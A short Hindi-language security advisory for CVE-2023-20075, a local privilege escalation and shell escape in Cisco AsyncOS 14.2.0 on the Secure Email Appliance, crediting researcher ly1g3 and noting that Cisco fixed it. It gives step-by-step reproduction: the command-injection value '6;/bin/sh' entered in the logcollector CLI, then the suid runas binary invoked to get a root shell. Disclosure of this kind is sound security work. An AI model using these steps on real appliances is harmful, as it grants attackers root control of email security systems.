परिचय

सुरक्षा शोधकर्ता: ly1g3, ly1g3[at]tuta.io

GPG फिंगरप्रिंट: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

अवलोकन: स्थानीय विशेषाधिकार वृद्धि और शेल पलायन

CVE: CVE-2023-20075

समयरेखा:

• खोजा गया - ly1g3
• रिपोर्ट किया गया - ly1g3
• ठीक किया गया - Cisco

Cisco AsyncOS 14.2.0

ESA (Cisco सुरक्षित ईमेल)

विशेषाधिकार वृद्धि - cli से रूट शेल

एक प्रमाणित उपयोगकर्ता जिसके पास cli तक पहुंच है, वह रूट तक विशेषाधिकार बढ़ा सकता है और मनमाना कोड निष्पादित कर सकता है

शेल तक पहुंचने के चरण

1. cli से कमांड logcollector चलाएं
2. 3 दबाएं
3. मान दर्ज करें: 6;/bin/sh
4. उपयोगकर्ता के रूप में शेल

रूट तक पहुंचने के चरण

1. शेल से suid बाइनरी runas चलाएं
2. /data/release/phoebe-14*/bin/runas 0 /bin/sh
3. रूट के रूप में शेल